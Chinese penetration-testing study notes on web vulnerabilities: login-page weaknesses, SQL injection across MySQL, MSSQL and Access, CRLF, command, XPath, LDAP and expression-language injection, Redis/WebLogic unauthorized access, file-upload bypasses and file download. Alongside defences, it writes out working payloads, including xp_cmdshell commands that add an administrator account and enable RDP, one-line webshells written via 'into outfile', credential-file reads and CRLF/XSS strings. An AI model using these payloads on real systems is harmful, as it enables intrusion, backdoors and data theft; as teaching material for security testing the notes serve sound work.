总之,IAM是一个综合的概念
ACL:Access Control List,访问控制列表
RBAC:Role-based Access Control,基于角色的访问控制
注入点及万能密码登录
不安全的验证码:验证码使用后不过期,可以继续使用
不安全的用户提示:如提示用户名不存在或密码及验证码错误等
查看登录页面源代码,是否存在敏感信息泄露
在注册账号有时候存在不安全的提示:如注册时提示该用户已被占用等
数据包含有敏感信息泄露:如cookie
不安全的密码:在注册的时候密码没有限制复杂度
不安全的数据传输:如密码为明文,未使用https证书
在暴力破解的时候未限制IP,锁定用户
一个账号可以在多地登录,没有安全提示
账号登录之后应该具备超时功能
任意无限注册账号
OA、邮件、默认账号等相关系统,在不是自己注册的情况下,应该在登录之后强行更改密码
逻辑漏洞,任意密码重置
越权漏洞,纵向,横向越权
任意文件下载
条件允许的情况下开启漏洞扫描
敏感信息的探测,例如端口,目录,JS文件
爆破弱口令
抓包看看是否存在逻辑漏洞,或者SQL注入进行尝试
寻找框架漏洞
万能密码绕过
存在的可能性不大,稍微试试也不费劲
payload示例:
admin'or 1=1 --
"or "a"="a
登录入口进行SQL注入
admin123'明文传输检测
这个不能算是漏洞,只能说是一个不足,它使得爆破的成本变得很低
在银行这类网站是要求不能使用弱加密的,一般要求使用国密算法
用户名可枚举
此漏洞存在主要是因为页面对所输入的账号密码进行的判断所回显的数据不一样,我们可以通过这点来进行用户名的枚举,然后通过枚举后的账户名来进行弱口令的爆破
毕竟当你收集了很多账号之后,他们中一定有人是使用弱口令的
防御手段的话仅需要将用户名与密码出错的回显变成一样即可,例如用户名或密码出错
爆破弱口令
弱口令无处不在,当然你需要一个好的密码本
Web页面最常用的爆破工具为Burp
客户端爆破工具:hydra、Bruter
JS扫描
JS文件我们在渗透测试中也是经常用到的东西,有时候我们可以在JS文件中找到我们平时看不到的东西,例如重置密码的JS,发送短信的JS,都是有可能未授权可访问的
工具的话可以使用 JSFind
目录扫描
Nmap端口扫描
本章详细介绍了认证与会话管理的核心概念、安全威胁及防护措施。从基础的认证授权区别到具体的Session安全威胁,再到登录页面的安全测试方法,构建了一个完整的认证安全知识体系。通过理解这些原理和方法,能够更好地识别和防范认证相关的安全风险,保障Web应用的身份安全。
后端和数据库交互的SQL中,拼接了前端用户输入的可控数据,且未对该数据做严格的过滤防护导致的安全问题
前端有可控参数
后端将可控参数拼接到与数据库交互的SQL语句中
后端没有对用户提交的参数做严格的过滤防护
注入攻击属于服务端攻击,与操作系统、数据库类型、脚本语言类型无关
介绍:and 表示连接条件,代表且,也就是说 and 两边的表达式必须都为 true ,最终结果才是 true
判断逻辑:
and 1=1: 这个条件始终是为真的,存在SQL注入的话,这个and 1=1的返回结果必定是和正常页面时是完全一致的
and 1=2: 返回为假,会强行把整个查询条件建立成假,导致查询无数据,因此页面内容会和正常页面不同
payload示例:
介绍:和and同样为表示为链接条件,代表为或,or左右两边,有一个为true,整体结果便为true
判断逻辑:or是或条件,or两边条件只要有一个条件为真,那么就整体的结果就是为真
payload示例:
介绍:在SQL语句中,用户提交的参数有数字型和字符型,不管是数字还是字符,引号都是一个可以快速破坏SQL语句语法结构的存在
判断逻辑:在一个正常的SQL语句中,接收前端传过来的参数,代入到数据库中查询时,一般要么像是id值这样的数字型,或者是搜索关键字功能的字符型,字符串都是被引号包裹的,单引号或者双引号,在注入点后面加上个引号,就能快速破坏SQL结构,导致SQL执行报错
payload示例:
简介:sleep(),Benchmark() 这些语句可以让数据库延迟执行,通过页面的响应时间来判断是否存在SQL注入
判断逻辑:在一个SQL注入中:select * from users where id = 1 and sleep(5),添加上该payload,可以让页面延迟五秒响应,在结合页面正常的响应时间,来判断构造的SQL是否被执行
payload示例:
简介:当参数是数字型的时候,可以尝试用加减法来判断SQL注入
判断逻辑:在注入的参数是一个数字的时候,可以尝试采用加减法的方式来判断,让id值进行运算发生变化,也是判断是否被代入执行的一种方式
payload示例:
数字型:1
字符型:ran
搜索型:$ran$
特殊型:由于SQL语句拼接方式不同,需要闭合原有语句
Get型:地址栏可以看见参数
Post型:通过Burp抓包
Cookie型:通过Burp抓包
Http Header头提交
显注:代入到数据库中执行的SQL,会把执行结果直接显示到前端页面,例如联合查询/报错注入等
盲注:不会直接在前端显示数据库执行结果,需要其他语句结合执行效果来判定,例如布尔型盲注/时间延迟等
类型问题:注入的参数可能是数字型,字符型
注入判断:判断是否存在注入的方式
闭合问题:注入的参数可能被括号包裹,闭合的方式是一样的
请求方式:GET/POST,只要存在注入,便不会影响注入结果
出现位置:可注入的参数可能会是在请求的数据中,请求头中,如Cookie,ua头等
注入流程:获取到库名->表名->字段名->具体数据
与数据库交互的相关页面
带参数的地方
登录的地方、更新的地方、注册的地方、留言板、查询、删除等
Http Header注入:把包头保存在数据库的话也可能存在注入漏洞
Cookie注入:数据参数写入到Cookies参数里面
union 操作符一般与order by 语句配合使用
information_schema注入:information_schema数据库是mysql5.0以上版本自带的数据库,其中包含着关于MySQL服务器所维护的所有其他数据库的信息
载荷注入
insert注入
update注入
delete注入
原理:通过对比猜测的字符的ASC码是否与真实的字符相同,然后通过后边的and 1=1,来使其猜对时返回true,猜错时返回false
示例:select ascii (substr(database(),1,1))>xx;
SQLserver数据库:
WAITFOR DELAY '0:0:5'--
writeup()
PostgreSQL:
PG_SLEEP(5)
generate_series(1,1000000)
MySQL:
vince' and sleep(x)#
Benchmark():可以同一个函数执行若干次,使得结果的返回的时间比平均要长。通过时间长短的变化,可以判断出注入语句是否只形成各
benchmark(10000000,encode('hello','goodbye')):将encode()执行了10000000次,耗时3.03秒
简述:mysql数据库sql语句的默认结束符是以";"号结尾,在执行多条sql语句时就要使用结束符隔开,而堆叠注入其实就是通过结束符来执行多条sql语句
原理:堆叠注入就是在不可控的用户输入中通过传入结束符+新的sql语句来获取想要的信息
触发条件:
2) 未对;做过滤
原理:利用程序对引号等非法字符的转义功能(增加),在引号前增加其他字符,使其与 (0x5c)组成新的字符,导致转义失败
要求:对方数据库使用了"宽字符集",比如MySQL使用了GBK编码时,0xbf27(0xbf = ¿ 0x27 = ')和0xbf5c(0x5c = )都会被认为是一个字符(双字节字符)
过程:在进入数据库前,在Web语言中并没有考虑到双字节字符的问题,双字节字符会被认为是两个字符。如果使用了PHP中的addslashes()函数,或者当magic_quotes_gpc开启时会在特殊字符前增加一个转义字符""。因此当攻击者输入 0xbf27 or 1=1(即 ¿' or 1=1 )时,经过转义后,会变成 0xbf5c27 or 1=1,其中的5c本来是用于转义0x27的,但由于在数据库中 0xbf5c 是另一个字符,所以原本存在的转义符 \ 被吞掉了,导致SQL注入
PHP相关:PHP的addslashes()函数会转义 ' " \ NULL 这四个字符。magic_quotes_gpc 如果开启了,它会自动对从客户端提交的数据进行转义,以防止SQL注入等安全问题。但是,这个选项在PHP 5.4及以上版本中已经被废弃了
解决方法:
需要统一数据库、操作系统、Web应用所使用的字符集,以避免各层对字符的理解存在差异。统一设置成 UTF-8 是一个很好的方法
如果由于种种原因无法统一字符编码,则需要单独实现一个用于过滤或转义的安全函数
猜解数据库表名:and exists(select * from users)
猜解数据库表名里面的字段:and exists(select password from administrator)
猜解字段内容:
and (select top 1 len(user_name) from administrator)>1
and (select top 1 asc(mid(user_name,1,1)) from administrator)>0
SQL注入中的高级查询:
order by
union select
偏移注入
跨库查询
第一步:检查是否是mssql数据库:and exists (select * from%20sysobjects)
第二步:查询当前数据库系统的用户名:and system_user=0
第三步:检查注入点是否为sa权限:and 1=(select IS_SRVROLEMEMBER('sysadmin'))
第四步:判断一下xp_cmdshell存储过程是否存在:and 1=(select count(*) from master.dbo.sysobjects where name ='xp_cmdshell')
第五步:添加帐号:
;exec master..xp_cmdshell 'net user test test /add'
;exec master..xp_cmdshell 'net localgroup administrators test /add'
第六步:开3389:;exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;
第一步:查看当前网站是否为db_owner权限:and 1=(SELECT IS_MEMBER('db_owner'));-- 判断当前数据库用户是否为db_owner权限
第二步:找出网站路径:
1、通过报错或baidu、google等查找
2、通过相关语句
drop table black;create Table black(result varchar(7996) null, id int not null identity (1,1))--
insert into black exec master..xp_cmdshell 'dir /s c:\1.aspx'--
and (select result from black where id=1)>0--
第三步:写入一句话木马获取webshell:
master..xp_cmd:%20;exec%20master..xp_cmdshell%20'Echo%20"<%@ Page Language="Jscript"%><%eval(Request.Item["123"],"unsafe");%>"%20>>%20c:\wwwtest\iis-xxser.com--wwwroot\sqlserver\muma.aspx'--
差异备份:;alter database testdb set RECOVERY FULL;create table test_tmp(str image);backup log testdb to disk='c:\test1' with init;insert into test_tmp(str) values (0x3C2565786375746528726571756573742822636D64222929253E);backup log testdb to disk='C:\wwwtest\iis-xxser.com--wwwroot\yjh.asp';alter database testdb set RECOVERY simple
第一步:获取当前网站数据库名称:and db_name()=0--
第二步:获取mssql所有数据库名和路径:%20and%200=(select%20top%202%20cast([name]%20as%20nvarchar(256))%2bchar(94)%2bcast([filename]%20as%20nvarchar(256))%20from%20(select%20top%201%20dbid,name,filename%20from%20[master].[dbo].[sysdatabases]%20order%20by%20[dbid])%20t%20order%20by%20[dbid]%20desc)--
第三步:获取当前数据库所有表名:and 0<>(select top 1 name from testdb.dbo.sysobjects where xtype=0x7500 and name not in (select top 2 name from testdb.dbo.sysobjects where xtype=0x7500))--
第四步:爆表名及字段名:
having 1=1--
group by admin.id having 1=1--
group by admin.id,admin.name having 1=1--
第五步:获取字段内容://and//(select//top//1//isnull(cast([id]//as//nvarchar(4000)),char(32))%2bchar(94)%2bisnull(cast([name]//as//nvarchar(4000)),char(32))%2bchar(94)%2bisnull(cast([password]//as//nvarchar(4000)),char(32))//from//[testdb]..[admin]//where//1=1//and//id//not//in//(select//top//0//id//from//[testdb]..[admin]//where//1=1//group//by//id))%3E0//and//1=1
MySQL 4版本:MySQL 4版本数据库由于存在着字符转义与不支持字句查询的情况,因此在注入攻击上存在着很大的局限性,只能采用类似Access的方法进行查询猜解。首先,利用order by获得当前表的字段数,再使用union select联合查询来获取想要的数据库信息。使用union select联合查询数据库时,由于不知道数据库中的表名与字段名,因此只能像Access一样直接用常见表名和字段名进行猜测判断
MySQL 5版本:MySQL 5版本由于information_schema库的存在,注入攻击相对来说方便了许多,其中存放着其维护的所有数据库的信息
schemata表:提供了当前MySQL中的所有数据库信息
tables表:提供了关于数据库中的表的信息
columns表:提供了所有表中的列信息(字段名)
通过load_file()函数来读取脚本代码或系统敏感文件内容,进行漏洞分析或直接获取数据库连接账号、密码
通过dumpfile/outfile函数导出获取WebShell
MySQL >5.6版本:多了两个新表,innodb_index_stats 和 innodb_table_stats。这两个表是数据库自动设置的用于记录更改和新创建的数据库和表的信息,但准确的说是保存最近的数据库变动记录
密码存放在mysql数据库的user表
采用md5加密
最高权限用户是root
检查注入点:
and 1=1 或 and 1=2
'
查看数据库用户名和版本、库名(dvwa):
猜出字段数:' order by 1,2--+&Submit=Submit#
联合查找:' union select user(),version()--+&Submit=Submit#
获取Mysql所有库:' union select 1,group_concat(schema_name) from information_schema.schemata+--+&Submit=Submit
获取表名(guestbook,users):' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()+--+&Submit=Submit
获取所有user表里面的字段:' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273+--+&Submit=Submit
获取所有字段内容:' union select 1,group_concat(user_id,0x7c,first_name,0x7c,last_name,0x7c,user,0x7c,password,0x7c,avatar,0x7c) from users+--+&Submit=Submit
获取Webshell:
对服务器文件进行读写操作前提条件:
需要知道远程目录
需要mysql root权限
需要远程目录有写权限
需要数据库开启secure_file_priv,相当于secure_file_priv的值为空,不为空不允许写入webshell(默认不开启,需要修改mysql.ini配置文件,直接在其中添加secure_file_priv=""即可)
获取web路径的方法:' union select 1,load_file(0x433A5C5C57494E444F57535C5C73797374656D33325C5C696E65747372765C5C4D657461426173652E786D6C)+--+&Submit=Submit 路径记得转化为十六进制
常见的Windows配置文件:
php配置信息:c:/windows/php.ini
MYSQL配置文件记录管理员登陆过的MYSQL用户名和密码:c:/windows/my.ini
存储了mysql.user表中的数据库连接密码:c:\mysql\data\mysql\user.MYD
查看IIS的虚拟主机配置:c:\windows\system32\inetsrv\MetaBase.xml
存储了WINDOWS系统初次安装的密码:d:\APACHE\Apache2\conf\httpd.conf,c:\windows\repair\sam
常见的Linux配置文件:
apache2缺省配置文件:/usr/local/app/apache2/conf/httpd.conf
虚拟网站设置:/usr/local/apache2/conf/httpd.conf,/usr/local/app/apache2/conf/extra/httpd-vhosts.conf
PHP相关设置:/usr/local/app/php5/lib/php.ini
从中得到防火墙规则策略:/etc/sysconfig/iptables
apache配置文件:/etc/httpd/conf/httpd.conf
同步程序配置文件:/etc/rsyncd.conf
mysql的配置文件:/etc/my.cnf
系统版本:/etc/redhat-release
针对3.0.22的RESIN配置文件查看:/usr/local/resin-3.0.22/conf/resin.conf
服务器读取文件:' union select 1,load_file('c:\boot.ini')+--+&Submit=Submit
写webshell获取权限:
union select 搭配 into outfile:' union select "<?php @eval($_POST['123']);?>",2 into outfile "C:\phpStudy\WWW\123.php"+--+&Submit=Submit
lines terminated by:lines terminated by 该语句是设置每行数据结尾的字符,可以设置为单个或多个字符,默认为"/n"
lines starting getshell:lines starting getshell该语句为设置每行开头的字符
fields terminated getshell:fields terminated by 设置字段之间的分隔符,默认值是"\t"
COLUMNS terminated getshell:COLUMNS terminated by 设置字段之间的分隔符,默认值是"\t"
数据表getshell:需要将shell内容插入数据表中,在将表内容写成可执行文件,所以要想利用它getshell,一般数据库有堆叠注入或phpmyadmin或有一个数据库的基本权限才能getshell
日志getshell:
2) 设置日志路径(webshell路径):id=1';set global general_log_file = 'd:/phpStudy_pro/WWW/8.php';--+
代码层最佳防御 sql 漏洞方案:采用 sql 语句预编译和绑定变量,是防御 sql 注入的最佳方法
所有的查询语句都使用数据库提供的参数化查询接口(比如java的 preparedStatement )。参数化的语句使用参数而不是将用户输入变量嵌入到 SQL 语句中。当前几乎所有的数据库系统都提供了参数化 SQL 语句执行接口,使用此接口可以非常有效的防止 SQL 注入攻击
对进入数据库的特殊字符( ' <>&*; 等)进行转义处理,或编码转换。但需要注意二次注入问题
确认每种数据的类型,比如数字型的数据就必须是数字,在后端层面可以对用户输入的数据进行int强转,舍弃其他除数字以外的部分,数据库中的存储字段必须对应为 int 型
数据长度应该严格规定,能在一定程度上防止比较长的 SQL 注入语句无法正确执行
网站每个数据层的编码统一,建议全部使用 UTF-8 编码,上下层编码不一致有可能导致一些过滤模型被绕过,宽字节注入
严格限制网站用户的数据库的操作权限,给此用户提供仅仅能够满足其工作的权限,从而最大限度的减少注入攻击对数据库的危害
避免网站显示 SQL 错误信息,比如类型错误、字段不匹配等,防止攻击者利用这些错误信息进行一些判断
使用最小权限原则
避免Web应用直接使用root、dbowner 等高权限账户直接连接数据库
如果有多个不同的应用在使用同一个数据库,也应该为每个应用分配不同的账户
Web应用使用的数据库账户,不应该有创建自定义函数、操作本地文件的权限
简介预编译的由来:由于数据库在接收到SQL语句后,会对其进行词法和语义解析、优化SQL语句、制定执行计划,这些都要花费一些时间。而且一条SQL语句经常会被反复使用(由于个别值得不同,比如query的where子句值不同,update的set子句值不同,Insert的values值不同),所以就有了预编译。预编译就是将这类语句中的值用占位符"?"替代,一次编译多次运行
预编译原理:预编译的语句被DB的编译器编译后的执行代码缓存下来,这样下次调用相同的预编译的语句,只需要参数直接传入编译过得语句执行代码中(相当于一个函数)就会得到执行,而不需要再次编译。并不是所有编译的语句都一定会被缓存,数据库本身会有一种策略去决定(内部机制)
预编译的作用:
预编译阶段可以优化 sql 的执行:预编译之后的 sql 多数情况下可以直接执行,DBMS 不需要再次编译,越复杂的sql,编译的复杂度将越大,预编译阶段可以合并多次操作为一个操作。可以提升性能
防止SQL注入:使用预编译,而其后注入的参数将不会再进行SQL编译。也就是说其后注入进来的参数系统将不会认为它会是一条SQL语句,而默认其是一个参数,参数中的or或者and 等就不是SQL语法保留字了
开启预编译:
数据库是否默认开启预编译和JDBC版本有关
也可以配置jdbc链接时强制开启预编译和缓存:useServerPrepStmts和cachePrepStmts参数。预编译和预编译缓存一定要同时开启或同时关闭。否则会影响执行效率
conn = DriverManager.getConnection("jdbc:mysql://localhost:3306/prepare_stmt_test?user=root&password=root&useServerPrepStmts=true&cachePrepStmts=true");
mysql的预编译:
开启了预编译缓存后,connection之间,预编译的结果是独立的,是无法共享的,一个connection无法得到另外一个connection的预编译缓存结果
经过试验,mysql的预编译功能对性能影响不大,但在jdbc中使用PreparedStatement是必要的,可以有效地防止sql注入
相同PreparedStatement的对象 ,可以不用开启预编译缓存
代码实现:
要注意,使用PreparedStatement时必须使用占位符"?";因为预编译的原理就是在替代的参数两边默认加引号'',同时对用户非法输入的单引号加上反斜杠转义
example:
String a = "a";
String b = "'b'";
String sql = " select * from users where name = ? ;";
预编译后语句为:
select * from user where name = 'a';
select * from user where name = ''b'';
前提:接受用户参数的地方是request并且未对cookie进行防范
原理:当我们打开get或post页面的时候,发现有注入防范,可以把get或post参数写入到cookie里面进行测试注入,有的时候程序未对cookie注入进行防范
一般是中间件加载了伪静态插件代码,其实不是真正的静态页面
如:www.oldboyedu.com/zuixin_wenzhang/index/id/523 可写成 www.oldboyedu.com/zuixin_wenzhang/index?id=523
*
*
Cookie会话固定漏洞
反射型XSS(可过waf)
漏洞注入点主要在重定向或者跳转的地方
CRLF注入漏洞的本质和XSS有点相似,攻击者将恶意数据发送给易受攻击的Web应用程序,Web应用程序将恶意数据输出在HTTP响应头中。(XSS一般输出在主体中)所以CRLF注入漏洞的挖掘和XSS差不多。通过修改HTTP参数或URL,注入恶意的CRLF,查看构造的恶意数据是否在响应头中输出
*
*
*
Set-Cookie中的内容用户可以控制
302跳转的Location地址用户可以控制
其他自定义Header用户可以控制
%0d%0aheader:header
%0aheader:header
%0dheader:header
%23%0dheader:header
%3f%0dheader:header
/%250aheader:header
/%250aheader:header
/%%0a0aheader:header
/%3f%0dheader:header
/%23%0dheader:header
/%25%30aheader:header
/%25%30%61header:header
/%u000aheader:header
%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a<svg%20οnlοad=alert(document.domain)>%0d%0a0%0d%0a/%2e%2e
XSS绕过:%2Fxxx:1%2F%0aX-XSS-Protection:0%0aContent-Type:text/html%0aContent-Length:39%0a%0a%3cscript%3ealert(document.cookie)%3c/script%3e
要避免http响应截断,需要注意以下几点:
对用户的数据进行合法性校验,对特殊的字符进行编码,如<、>、'、"、CR、LF、等,限制用户输入CR和LF,或者对CR和LF正确编码后再输出,以防止注入自定义HTTP头
创建安全字符白名单,只接收白名单中的字符出现再HTTP响应头文件中
在将数据传送到http响应头之前,删除所有的换行符
命令注入(Command Injection)是一种攻击方式,攻击者通过将恶意命令插入到正常的命令或语句中,从而在服务器上执行任意命令。这种漏洞通常发生在应用程序将用户输入的数据作为系统命令的一部分执行时,而没有进行充分的过滤和验证。
当应用程序需要调用系统命令来完成某些功能时,可能会将用户输入的数据作为命令参数的一部分。如果这些用户输入没有被正确地过滤,攻击者就可以插入额外的命令或修改原有命令,导致执行恶意命令。
例如,一个Web应用程序有一个功能,允许用户通过输入IP地址来执行ping命令:
如果用户输入127.0.0.1; ls -la,那么实际执行的命令将是:
这样,除了执行ping命令,还会执行ls -la命令,列出当前目录的文件。
系统命令执行函数:如PHP中的system()、exec()、shell_exec()、passthru()等。
程序调用:如调用Perl、Python、Ruby等脚本时,将用户输入作为参数传递。
数据库操作:某些数据库允许执行系统命令,如MSSQL的xp_cmdshell。
文件操作:如解压缩、文件转换等。
使用分号(;):在Unix系统中,分号用于分隔多个命令。
使用管道(|):将前一个命令的输出作为后一个命令的输入。
使用重定向(>、<):重定向输入输出。
使用反引号(`)或$():执行子命令。
使用逻辑运算符(&&、||):根据前一个命令的执行结果决定是否执行后一个命令。
使用换行符(%0a):在URL编码中,换行符可以用于分隔命令。
尽量避免使用系统命令执行函数,如果必须使用,应确保对用户输入进行严格的过滤。
使用白名单机制,只允许特定的字符或模式。
对用户输入进行转义,使用专门的函数(如escapeshellarg()、escapeshellcmd())来处理。
使用最小权限原则,运行Web服务器的用户权限应尽可能低,避免使用root权限。
在输入验证时,不要只依赖黑名单,因为黑名单很容易被绕过。
XPath注入类似于SQL注入,当应用程序使用用户输入来构造XPath查询XML数据时,如果用户输入没有被正确过滤,攻击者就可以修改XPath查询的逻辑,从而绕过认证或获取敏感数据。
XPath是一种用于在XML文档中查找信息的语言。如果应用程序将用户输入直接拼接到XPath查询中,攻击者就可以构造恶意输入来改变查询的语义。
例如,一个登录验证的XPath查询可能是:
如果用户输入用户名admin' or '1'='1,密码任意,那么查询变为:
由于'1'='1'始终为真,因此这个查询会返回第一个用户节点,可能绕过认证。
绕过认证:通过构造恒真条件,使查询返回结果。
获取数据:通过构造条件,逐字符提取XML文档中的数据。
对用户输入进行过滤,避免特殊字符(如引号、等号、括号等)的直接使用。
使用参数化XPath查询,类似于SQL的参数化查询。
使用白名单验证用户输入。
LDAP(轻量级目录访问协议)注入是一种攻击技术,攻击者通过构造恶意的LDAP查询语句来绕过安全控制,如认证、授权,或者获取敏感信息。
当应用程序将用户输入直接拼接到LDAP查询中时,攻击者可以插入特殊的LDAP元字符来改变查询的含义。
例如,一个登录查询可能是:
如果用户输入用户名*,密码*,那么查询变为:
这个查询会匹配所有用户,因此可能返回第一个用户,从而绕过认证。
绕过认证:使用通配符(*)或逻辑运算符(&、|)来修改查询条件。
信息泄露:通过构造查询,获取目录中的敏感信息。
对用户输入进行过滤,移除或转义LDAP元字符(如*、(、)、&、|等)。
使用框架提供的安全API来构建LDAP查询,避免直接拼接。
表达式语言(EL)注入通常发生在使用表达式语言的Web框架中,如Java Server Faces(JSF)和Spring表达式语言(SpEL)。攻击者通过将恶意表达式注入到应用程序中,从而在服务器端执行任意代码。
如果应用程序将用户输入直接作为表达式求值,攻击者就可以构造恶意表达式来执行系统命令、访问敏感数据等。
例如,一个使用SpEL的应用程序可能这样使用用户输入:
如果用户输入是T(java.lang.Runtime).getRuntime().exec('calc'),则会在服务器上打开计算器。
避免将用户输入直接作为表达式求值。
如果必须使用,应严格限制表达式的功能,例如使用SimpleEvaluationContext而不是StandardEvaluationContext(在SpEL中)。
对用户输入进行严格的过滤。
本章介绍了多种注入攻击,包括SQL注入、命令注入、XPath注入、LDAP注入和表达式语言注入。这些攻击的共同点都是将用户输入作为代码的一部分执行。防御注入攻击的关键在于将数据与代码分离,对用户输入进行严格的过滤和验证,使用参数化查询和安全API,以及遵循最小权限原则。
在接下来的章节中,我们将学习其他类型的Web安全漏洞。
"权限控制" 的问题都可以归结为"访问控制"的问题
"权限控制"或者说是"访问控制",广泛地存在于各个系统中。抽象地说,都是某个主体(subject)对某个客体(object)需要实施某种操作(operation),而系统对这种操作的限制就是权限控制
概念:未授权访问漏洞 可以理解为 需要安全配置或权限认证的地址、授权页面存在缺陷导致其他用户可以直接访问,从而引发重要权限可被操作、数据库或者网站等敏感信息泄露。
漏洞简介:Redis是一个数据库,默认端口号:6379,Redis默认没有密码验证,也已免密操作,攻击者可以通过操作Redis进一步控制服务器。
Redis未授权访问在4.x/5.0.5以前版本下,可以使用master/slave模式加载远程模块,通过动态链接库的方式执行任意命令。
漏洞检测:
使用 redis-cli 命令直接远程免密登录 Redis 主机
漏洞修复:
禁止使用root权限启动redis服务;
对redis访问启动密码认证;
添加IP访问限制,并更改默认6379端口;
漏洞简介
漏洞检测
使用 vulhub 搭建漏洞演示环境
攻击者可以构造特殊请求的URL,即可未授权访问管理后台页面
远程攻击者可以构造特殊的HTTP请求,在未经身份验证的情况下接管 WebLogic Server Console ,并在 WebLogic Server Console 执行任意代码
漏洞修复
定义:如果使用A用户的权限操作B用户的数据,A的权限小于B的权限,如果能够成功操作,则称为越权操作。
为什么:
后台使用了不合理的权限校验规则导致的
当用户对权限页面的信息进行这些操作时,后台需要对当前用户的权限进行校验,看其是否具备操作的权限,从而给出响应,而如果校验的规则过于简单则容易出现越权漏洞
常见位置:
成因:由于网站没有严格限制文件上传格式,从而导致可上传任意的文件格式,特别是脚本木马(Webshell)到服务器上,最终得到服务器的控制权限
详解文章:文件上传漏洞详解-CSDN博客
上传附件
上传头像
上传相册
添加文章图片
前台留言资料上传
编辑器文件上传
MIME介绍
MIME(Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型。是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式。
比如浏览器的 MIME Sniff 功能就是通过读取文件的前256个字节,来判断文件的类型的
每个MIME类型由两部分组成,前面是数据的大类别,例如声音audio、图象image等,后面定义具体的种类。
常见MIME类型
超文本标记语言文本 .html text/html
xml文档 .xml text/xml
XHTML文档 .xhtml application/xhtml+xml
普通文本 .txt text/plain
PDF文档 .pdf application/pdf
Microsoft Word文件 .word application/msword
PNG图像 .png image/png
GIF图形 .gif image/gif
JPEG图形 .jpeg,.jpg image/jpeg
MPEG文件 .mpg,.mpeg video/mpeg
任意的二进制数据 application/octet-stream
绕过方法
上传一个允许的类型,修改filename为脚本名称,将webshell写入请求体绕过
方法一:直接伪造头部GIF89A
方法二:CMD方法,copy /b test.png+1.php muma.png
方法三:直接使用工具增加备注写入一句话木马
黑名单
文件名大小写绕过,如PhP,AsP
白名单
0x00截断
原理
payload
代码解析
.htaccecc文件,修改该文件配置内容可设定指定目录下的文件解析成指写的格式
该文件解析漏洞需要拿到服务器权限之后才能更改,一般常用于留后门使用。
如果说在Apache中 “.htaccess"可被执行,且可被上传,那么就可以尝试在”.htaccess"中写入:
“<FilesMatch “xxx.jpx”>SetHandler aplication/x-httpd-php </FilesMatch>”
然后再上传shell.jpg的木马,这样shell.jpg就会被解析为php文件
把文件名改成test.asp. 或test.asp_(下划线为空格)
:$DATA绕过
原因
在 Apache 1.x 2.x 中存在文件解析问题 Apache 对于文件名的解析是从后往前解析的,直到遇到一个Apache认识的文件类型为止
Apache 是通过 Apache 的 mime.types 文件中定义的文件类型判断的
payload
test.php.rar.rar
因为Apache不认识 rar 这个文件类型,所以他会一直遍历到后缀 .php ,然后认为这是一个 php 文件,从而导致脚本文件被执行
解析问题
分号截断
原因
payload
adc.asp;xx.jpg
IIS 6 会将此文件解析为 abc.asp ,后边的 xx.jpg 被截断了,从而导致脚本被执行
*.asp目录解析
原因
payload
http://www.test.com/path/app.asp/abc.jpg
这里的 abc.jpg 虽然是 jpg 文件,但却会被当作 ASP 文件进行解析
注意,这两个IIS漏洞,都需要在服务器本地的硬盘上确实存在这样的文件或文件夹,如果只是通过 Web 应用映射出来的 URL,则无法触发
配置问题
简介
前提
IIS 中目录支持写权限
开启了 WebDav
IIS服务器勾选了 "脚本资源访问" 复选框
利用方法
通过 OPTIONS 探测服务器支持的方法
上传包含恶意脚本的文本文件
通过 MOVE 改文件名
原因
Nginx 配置 fastcgi 使用PHP时,会存在文件解析问题
出现这个漏洞的原因与 "在 fastcgi 方式下,PHP 获取环境变量的方式有关" PHP 的配置文件中有一个关键选项:cgi.fix_pathinfo = 1,默认是开启的。在映射URI时,将递归查询路径确认文件的合法性,notexist.php 不存在时,将往前递归查询路径,这个功能原本是想解决 /info.php/test 这种 URL 能够正确解析到 info.php 上,此时 SCRIPT_FILENAME 需要检查文件是否存在,所以会是 /path/test.jpg ;而 PATH_INFO 此时还是 notexist.php,在最终执行的时候,test.jpg 会被当作 PHP 进行解析。
payload
http://www.test.com/path/test.jpg/notexist.php
其中 notexist.php 并不存在,如果在任何配置为 fastcgi 的PHP 应用里上传一张图片,其图片内容是 PHP 文件,则会导致代码执行。其他可以上传的合法文件如文本文件、压缩文件等情况类似
不回显文件保存路径的利用思路
1. 尝试暴破敏感文件,看是否存在信息泄露,如果可以找到源码,就直接进行代码审计,查看是否可以找到文件上传的路径
2. 爆破目录,看是否存在类似 /uploads 或 /image 之类的目录,然后根据一些已知的信息,如:html页面的名字,构造路径进行暴破,如果暴破发现是403错误,那可能这个目录是存在的。之后尝试猜解上传后的文件名(一般文件上传之后都会修改文件名,如果没有那就省事了,如果原文件名返回404那多半是重命名了)
常用的文件名类型
随机字符串
时间戳类型
yymmddHHmm类型
3. 通过程序报错,把路径爆出来
union select 1,2,hex(load_file("D:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-1\\index")) -- -
现在大多数站点都会使用站库分离的方案,文件系统和服务系统分开存储,或者直接使用第三方的文件存储系统,阿里云、腾讯云、七牛云都有这方面的服务。站库分离的拿到文件系统地址没有太大作用,使用第三方的一般防护做的都很好,普通新手很难绕过
安全防范
最有效的,将文件上传目录直接设置为不可执行,对于Linux而言,撤销其目录的'x'权限;实际中很多大型网站的上传应用都会放置在独立的存储上作为静态文件处理,一是方便使用缓存加速降低能耗,二是杜绝了脚本执行的可能性;
文件类型检查:强烈推荐白名单方式,结合MIME Type、后缀检查等方式(即只允许允许的文件类型进行上传);此外对于图片的处理可以使用压缩函数或resize函数,处理图片的同时破坏其包含的HTML代码;
使用随机数改写文件名和文件路径,使得用户不能轻易访问自己上传的文件;
单独设置文件服务器的域名; 由于浏览器同源策略的关系,一系列客户端攻击将失效
一般网站由于业务需求,往往需要提供文件查看或文件下载功能,但若对用户查看或下载的文件不做限制,则恶意用户就能够查看或下载任意敏感文件,这就是文件查看与下载漏洞
download.php?path=
down.php?file=
data.php?file=
download.php?filename=
&src=
&inputfile=
&filepath=
&path=
&data=
1. 下载常规的配置文件,如:ssh/weblogic/ftp/mysql 等相关配置
2. 下载各种.log文件,从中寻找一些后台地址,文件上传点之类的地方,如果运气好,还可以找到前辈留下的后门
